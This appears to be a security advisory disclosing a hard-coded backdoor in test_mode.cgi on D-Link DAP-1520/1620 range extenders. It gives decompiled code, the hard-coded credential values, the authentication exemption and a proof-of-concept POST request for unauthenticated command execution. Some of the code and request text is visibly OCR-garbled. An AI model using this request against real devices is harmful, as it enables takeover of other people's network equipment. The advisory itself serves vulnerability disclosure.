# D-Link dap-1520, 1620 hardcoded backdoor

### firmware information

Vendor: D-Link

Product: D-Link dap-1620, D-Link dap-1520

Affected product

For dap-1620, the following version is affected

- DAP-1620\_REVA\_FIRMWARE\_PATCH\_1.04.B04\_BETA03
- DAP-1620\_REVA\_FIRMWARE\_1.01.B05
- DIR-1620\_REVA\_FIRMWARE\_1.04.B04
- DAP-1620\_REVA\_FIRMWARE\_1.03.B08
- DAP-1620\_REVA\_FIRMWARE\_v1.05B05

For dap-1520, the following version is affected

DAP-1520\_REVA\_FIRMWARE\_PATCH\_1.09.B01\_BETA04

Support URL

https://www.dlink.com/uk/en/products/dap-1520-wifi-ac750-range-extender

https://www.dlink.com/rs/sr/products/dap-1620-ac1300-wifi-range-extender

## **Vulnerability description**

In D-Link dap-1520, 1620, its test\_mode.cgi in binary /bin/ssi contains a hard-coded backdoor. Unauthenticated attackers can send hard-coded command to the firmware and execute arbitrary commands.

The following code contains the decompiled code of the backdoor. In function <code>do\_mp\_method</code> (at address <code>0x40EA80</code> in binary <code>/bin/ssi</code>), the following code handles user's requests posting to <code>test\_mode.cgi</code>

```
74
           accu = getenv("accu");
           if ( !strcmp(accu, "mp1524") )
  75
  76
  77
             pass = getenv("pass");
  78
             if (!strcmp(pass, "kmark43") )
  79
  80
               code = getenv("code");
               if ( !strcmp(code, "smpwdc") )
  81
  82
                 hash = getenv("hash");
  83
                 if ( !*hash || !strcmp(hash, "/lJ9Nwf03rRGcAkzv49mmA1") )
  84
  85
  86
                    cmds = getenv("cmds");
                   if ( *cmds )
  87
  88
                      v20 = off_47F480;
  89
                      v26[3] = dword_47F48C;
  91
                      v26[2] = (int)off_47F488;
  92
                      v26[1] = (int)off_47F484;
                      v26[4] = dword_47F490;
  93
                      v26[5] = dword_47F494;
  94
                      v26[0] = (int)off_47F480;
  95
                      if (!strstr(cmds, "reboot") && !strstr(cmds, "nvram") )
  96
  97
  98
                        v21 = v26;
  99
                        if ( v20 )
 100
101
                          while (1)
 102
103
                            v22 = strlen((const char *)*v21);
104
                            if ( base64_decode(cmds, *v21, v22, 1) )
0 105
                             break:
9 106
                            v21 += 3;
                            if (!v21 || !*v21 )
107
                              return "tftpd_ready.txt";
0 108
 109
110
                          sub_40E<mark>910</mark>(*v21, v21[2]);
 111
              } }
 112
                     }
 113
 114
 115
             }
 116
           }
 117
         }
 118
```

If user posts the following code

accu=mp1524&pass=kmark43&code=smpwdc&hash=/lj9Nwf03rRGcAkzv49mmA1\$cmds=<base64 encode of command>

The firmware will process user's input, and decode the content provided in cmds field. If it's not the same with "reboot" or "nvram" and transfer it as the argument to function sub\_40e910

The following code represent sub\_40e910. It executes attackers' command without any sanitizing.

```
1 int fastcall sub 40E910(const char *a1, int a2)
   2 {
   3
      char v5[512]; // [sp+18h] [-200h] BYREF
   4
   5
      memset(v5, 0, sizeof(v5));
      sprintf(v5, "%s > /dev/null &", a1);
   6
   7
      system(v5);
   8
      set_pid(a2);
   9
      return 0;
10 }
```

However, in the firmware's configuration file <code>etc/conf.d/graph\_auth.conf</code>, it can be found that this url is intended set to be able to view as unauthenticated, which means any unauthenticated user can execute arbitrary command through this malicious cgi.

```
## Following key exceptional pages will not be authentication.
     ## And if have value then wiil be mapping to value page.
     graph_auth.except_paths = (
                  "/js/"
"/image/"
                                                                                                    =>
=>
                  "/lang.js"
"/public.js"
"/chklst.txt"
                  "/apply.cgi"
"/tools_login_result.htm"
                  "/tools_login_send.htm"
"/tools_wizard_result.htm"
                  "/tools_wizard_send.htm"
"/reset_btn.txt"
"/wps_btn.txt"
                                                                                                    =>
                  "/wifi_ssid_key.txt"
"/tftpd_ready.txt"
"/restore_default_finish.txt" =>
                  "/calibration_ready.txt"
"/usb_connect.txt"
                  "/runtime_change_wifi.txt"
"/runtime_change_wifi_5g.txt"
"/redirect_version.html"
                   "/device_status.xml"
"/wps_status.xml"
"/wds_scan.xml"
                  "/login.cgi"
"/auth.bmp"
                                                                                                                                "/hnap.cgi",
"/tr069.cgi",
                                                                                                                  => "",
"/widget.cgi"
"/widget.cgi"
                   "/router_info.xml"
"/post_login.xml"
                   "/widget.cgi"
"/secmark1524.cgi"
                   "/test_mode.cgi"
                   "/lanport_status.xml"
"/ipv6_status.xml"
NORMAL etc/conf.d/graph_auth.conf
```

#### **POC**

replace <base>64 encode of command> field is to real command in base<br/>64 format to reproduce this vulnerability

```
POST /test_mode.cgi
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: 104
Content-Length: 49
accu=mp1524&pass=kmark43&code=smpwdc&hash=/lJ9NwfO3rRGcAkzv49mmA1$cmds=<base64
encode of command>
```

## timeline

[25-02-20] report to vendor